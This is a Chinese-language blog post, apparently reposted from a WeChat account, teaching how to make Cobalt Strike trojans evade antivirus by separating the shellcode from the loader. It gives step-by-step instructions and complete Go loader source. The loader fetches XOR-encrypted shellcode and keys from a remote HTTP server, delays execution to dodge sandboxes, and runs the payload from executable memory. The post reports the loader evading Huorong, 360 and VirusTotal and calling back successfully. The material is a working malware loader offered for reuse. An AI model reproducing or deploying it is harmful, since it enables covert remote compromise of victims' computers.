免杀系列-CS木马shellcode分离免杀上线

  • A+
所属分类:安全文章

10月13日

CS木马shellcode分离免杀上线

免杀系列-CS木马shellcode分离免杀上线

最近在学习CS怎么去免杀,今天来分享一下吧,反正有手就行呗

免杀系列-CS木马shellcode分离免杀上线
0x00 Article directory [目录结构]


0x01 环境介绍
0x02 插件部署
0x03 改造流程
0x04 测试效果

0x05 总结



免杀系列-CS木马shellcode分离免杀上线

0x01 环境介绍

本次免杀所使用的是shellcode分离免杀技术

CS版本:4.0语言:Golang

插件:项目地址:

http://github.com/hack2fun/BypassAV
免杀系列-CS木马shellcode分离免杀上线
0x02 插件部署

1、打开cs客户端,点击如图位置:


免杀系列-CS木马shellcode分离免杀上线


2、点击load,加载插件:


免杀系列-CS木马shellcode分离免杀上线


3、加载完毕后使用快捷键ctrl + g 即可打开窗口进行生产CS木马


免杀系列-CS木马shellcode分离免杀上线




免杀系列-CS木马shellcode分离免杀上线
0x03 改造流程

这个插件的功能是使用golang帮我们生成一个CS木马,在生成木马时会在对应目录留下go的源文件


免杀系列-CS木马shellcode分离免杀上线


我们在CS提前建立好监听器


免杀系列-CS木马shellcode分离免杀上线


使用插件生成木马


免杀系列-CS木马shellcode分离免杀上线


PS:记得把杀毒软件关闭了先,不然会直接杀掉

在windows环境下,会在C://windows//temp目录下生成的源文件

先来看下这个文件的核心代码吧


免杀系列-CS木马shellcode分离免杀上线


xor_shellcode为插件提前加密好的,用切片变量存储


免杀系列-CS木马shellcode分离免杀上线


加密时用到两个密钥,KEY_1和KEY_2,使用的是异或加密。在for循环里对shellcode进行解密,然后申请内存进行加载,最后调用syscall指向地址执行。


改造思路如下:

1) 入口main函数处加一个sleep,延时执行

2) 动态获取shellcode以及密钥,我们把密钥和shellcode放到我们的VPS,起一个http服务器,通过get去请求


流程:

1)在main函数入口加入如下代码:

time.Sleep(5 * time.Second)

2)程序中shellcode为切片类型,在放到http服务器上时,还需要做一下转换,使用如下代码:

package mainimport (    "fmt"    "encoding/hex")func main() {  aa :=[]byte{shellcode复制到这里}  fmt.Println(hex.EncodeToString([]byte(aa)))}


CMD执行:go run get.go

PS:随便创建一个go文件即可


免杀系列-CS木马shellcode分离免杀上线


将生成的数据放到http服务器上,例如创建一个1.txt

3)程序中的KEY也是切片数据,用上一步的代码进行转换,如下图所示:

免杀系列-CS木马shellcode分离免杀上线

CMD执行:go run get.go


免杀系列-CS木马shellcode分离免杀上线


HTTP服务器上创建两个txt,例如2.txt放入密钥1,3.txt放入密钥2

创建好后记得把源代码前面的密钥变量进行删除


免杀系列-CS木马shellcode分离免杀上线


4)获取http服务器上的数据


免杀系列-CS木马shellcode分离免杀上线


紧接着加入两行代码,获取对应的key


免杀系列-CS木马shellcode分离免杀上线


keys1、keys2函数为获取密钥,并且返回值,大致代码如下:


免杀系列-CS木马shellcode分离免杀上线


温馨提示,如果你写的参数名字和我一样,记得把模板文件中的xor_shellcode换成x1,shellcode换成res。


最后一步,在开头加入需要使用到的包:

import (  "syscall"  "unsafe"  "time"    "encoding/hex"    "io/ioutil"    "net/http")


5)编译成exe文件

CMD执行命令:go build -o svc.exe -ldflags -H=windowsgui temp.go

PS:svc.exe为生成文件,temp.go为我们改造的源代码文件


免杀系列-CS木马shellcode分离免杀上线
0x04 测试效果

某绒


免杀系列-CS木马shellcode分离免杀上线


60


免杀系列-CS木马shellcode分离免杀上线


免杀系列-CS木马shellcode分离免杀上线


VT


免杀系列-CS木马shellcode分离免杀上线


沙箱我就不截图了,由于我的VPS被标黑了,所以情报过不去,但是从沙箱的角度来看是没有检测出来的,大家可以自行测试。

最后成功上线:


免杀系列-CS木马shellcode分离免杀上线



免杀系列-CS木马shellcode分离免杀上线
0x05 summary 总结

作为一个免杀萌新,记录一下学习,免杀的手段还有很多,比如流量对抗、防逆向代码对抗、威胁情报等等路还很长,顺便提个醒,在真实环境中,这种回连木马除了要过终端的防御之外,还得过流量检测设备,目前厂商的设备基本具备检测3.14、4.0版本(其他没有测试过)的CS流量,但是如果修改CS的特征的话,还是可以规避检测的。

贴一下模板源代码吧,大家可以自行修改参数进行使用:

package mainimport (  "syscall"  "unsafe"  "time"    "encoding/hex"    "io/ioutil"    "net/http")const (  MEM_COMMIT             = 0x1000  MEM_RESERVE            = 0x2000  PAGE_EXECUTE_READWRITE = 0x40)var (  kernel32      = syscall.MustLoadDLL("kernel32.dll")  ntdll         = syscall.MustLoadDLL("ntdll.dll")  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  RtlCopyMemory = ntdll.MustFindProc("RtlMoveMemory"))func keys1() byte {  time.Sleep(5 * time.Second)  resp, _ := http.Get("http://IP/https/2.txt")    defer resp.Body.Close()    body, _ := ioutil.ReadAll(resp.Body)    var tmp = string(body)    x1, _ := hex.DecodeString(tmp)    return x1[0]}func keys2() byte {  time.Sleep(5 * time.Second)  resp, _ := http.Get("http://IP/https/3.txt")    defer resp.Body.Close()    body, _ := ioutil.ReadAll(resp.Body)    var tmp = string(body)    x1, _ := hex.DecodeString(tmp)    return x1[0]}func main() {  time.Sleep(5 * time.Second)  resp, err := http.Get("http://IP/https/1.txt")    if err != nil {        return    }    defer resp.Body.Close()    body, err := ioutil.ReadAll(resp.Body)    var tmp = string(body)    x1, _ := hex.DecodeString(tmp)  var KEY_1 byte = keys1()  var KEY_2 byte = keys2()  var res []byte  for i := 0; i < len(x1); i++ {    res = append(res, x1[i]^KEY_1^KEY_2)  }  addr, _, err := VirtualAlloc.Call(0, uintptr(len(res)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&res[0])), uintptr(len(res)))  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  time.Sleep(5 * time.Second)  syscall.Syscall(addr, 0, 0, 0, 0)}
免杀系列-CS木马shellcode分离免杀上线

【往期推荐】

未授权访问漏洞汇总

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

走过路过的大佬们留个关注再走呗免杀系列-CS木马shellcode分离免杀上线

往期文章有彩蛋哦免杀系列-CS木马shellcode分离免杀上线

免杀系列-CS木马shellcode分离免杀上线


免杀系列-CS木马shellcode分离免杀上线




本文始发于微信公众号(渗透Xiao白帽):免杀系列-CS木马shellcode分离免杀上线

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: